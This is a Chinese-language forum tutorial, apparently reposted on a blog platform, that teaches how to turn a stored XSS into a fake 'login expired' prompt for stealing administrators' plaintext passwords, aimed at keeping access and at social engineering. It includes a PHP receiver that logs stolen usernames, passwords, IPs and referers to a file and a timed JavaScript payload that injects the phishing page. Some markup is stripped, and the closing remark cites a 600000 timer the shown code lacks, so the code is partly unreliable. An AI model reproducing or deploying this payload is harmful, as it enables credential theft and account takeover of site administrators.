php截获用户明文密码,【超详细入门教程】通过xss获取管理员明文账号密码

本帖最后由 说书人 于 2019-12-17 03:56 编辑

0x00  前言

本文所讲的知识点很早就有,只是因为最近小伙伴讨论的比较多,而且很多小伙伴不太明确流程,故有了此文,大佬请忽略

xss大家都不陌生,最常用的就是打管理员的cookie然后拿到后台权限。

但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难,下面列举了三点。

随着开发者安全意识的提高,现在基本上都是开了httponly了,也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的),这是其一。

cookie具有时效性,比如说获取到的cookie过期了,而管理员又没有进行第二次登录并触发的情况下,你的权限就掉了,这是其二。

xss漏洞已修复,并且之前的代码已被删除或者无法触发(比如说xss在一个留言处,当后面有很多留言时,你的代码可能就到下一页去了,管理员也一般不会去翻,也就不会触发),这是其三

所以本篇文章就来介绍通过xss来获取管理员的账号密码,实现权限的维持,而且获取了账号密码,用途还有很多,比如说社工。

0x01 流程

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.webp.jpg (49.67 KB, 下载次数: 9)

2019-12-17 03:44 上传

打字描述不太直观,直接上一个流程图

0x02 准备工作

根据流程图中所展示,我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示,这里准备了以下文件:

[AppleScript] 纯文本查看 复制代码admin_login.html //原管理登录页面

admin_index.html //原管理后台页面

fish.html //我们高仿的登录页面,也就是钓鱼页

get.php //数据接收文件

xss.js //xss的payload

代码量很小,我在这里直接贴出来:

[HTML] 纯文本查看 复制代码//admin_login.html 原管理登录页面

管理员登录

用户名:

密码:

[HTML] 纯文本查看 复制代码//admin_index.html 原管理后台页面

管理员后台

这里是管理员后台,你已成功登录

一键日卫星


最新留言
  • 说书人长得好帅
  • 楼上说得对

[HTML] 纯文本查看 复制代码//fish.html 我们仿的登录页面,也就是钓鱼页

管理员登录//这里发送给接收程序

用户名:

密码:

[PHP] 纯文本查看 复制代码//get.php 数据接收文件

$line = '----------------------------------'."\r\n";

$user = '账号:'.$_POST['username']."\r\n";

$pwd = '密码:'.$_POST['password']."\r\n";

$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";

$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";

$date ='日期:'. date("Y-m-d")."\r\n";

$result = $line.$url.$user.$pwd.$ip.$date;

file_put_contents('good.txt',$result, FILE_APPEND);

header("Location: [url]http://127.0.0.1/admin_index.html[/url]");

?>

[JavaScript] 纯文本查看 复制代码//xss.js xss的payload

setTimeout(function() {

alert("登陆过期,请重新登陆!");

parent.document.writeln("");

setTimeout(function() {

document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");

},

100);

setTimeout(function() {

parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");

},

100);

},

5000);

0x03 本地演示

首先管理员登录后台后,xss触发了,弹窗提示登录过期,需要重新登录

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.webp.jpg (44.11 KB, 下载次数: 9)

2019-12-17 03:44 上传

然后出来的是iframe的钓鱼页面,注意地址没有跳转到我们的钓鱼页面url

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.webp.jpg (22.13 KB, 下载次数: 9)

2019-12-17 03:44 上传

管理员输入完账号密码后,又跳转回真实的后台页面,由于登录信息并没有失效,所以刚刚的登录仿真度极高。于此同时,我们的接收程序已经将管理员账号密码保存到了我们的钓鱼服务器上

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.webp.jpg (37.15 KB, 下载次数: 10)

2019-12-17 03:44 上传

0x04  结尾

xss.js的第14行的600000指的是每10分钟执行一次,符合一般的过期规则,大家也可以自行修改。由于仿真度极高,不易察觉,所以权限维持率高。

文章转自我自己的公众号:台下言书”,修改了下发出来(公众号发的时候因为有点标题党被喷惨了~),喜欢的可以关注下公众号。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值